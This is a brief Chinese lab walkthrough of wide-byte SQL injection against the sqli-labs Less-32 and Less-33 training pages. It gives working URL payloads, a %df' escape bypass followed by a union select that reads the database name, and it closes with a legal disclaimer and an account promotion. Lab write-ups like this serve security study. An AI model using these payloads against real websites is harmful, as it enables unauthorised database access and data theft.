22、宽字节注入

环境sqli-labs

less 32

一、输入特殊字符，都被转义了

http://192.168.1.121/sqli/Less-32/?id=1\

http://192.168.1.121/sqli/Less-32/?id=1’

http://192.168.1.121/sqli/Less-32/?id=1’’

二、构造宽字节闭合

http://192.168.1.121/sqli/Less-32/?id=1%df’ --+

理论上%81-%FE均可

三、联合查询数据库

http://192.168.1.121/sqli/Less-32/?id=-1%df’ union select 1,database(),3 --+

less 33

同上

禁止非法，后果自负

欢迎关注公众号：web安全工具库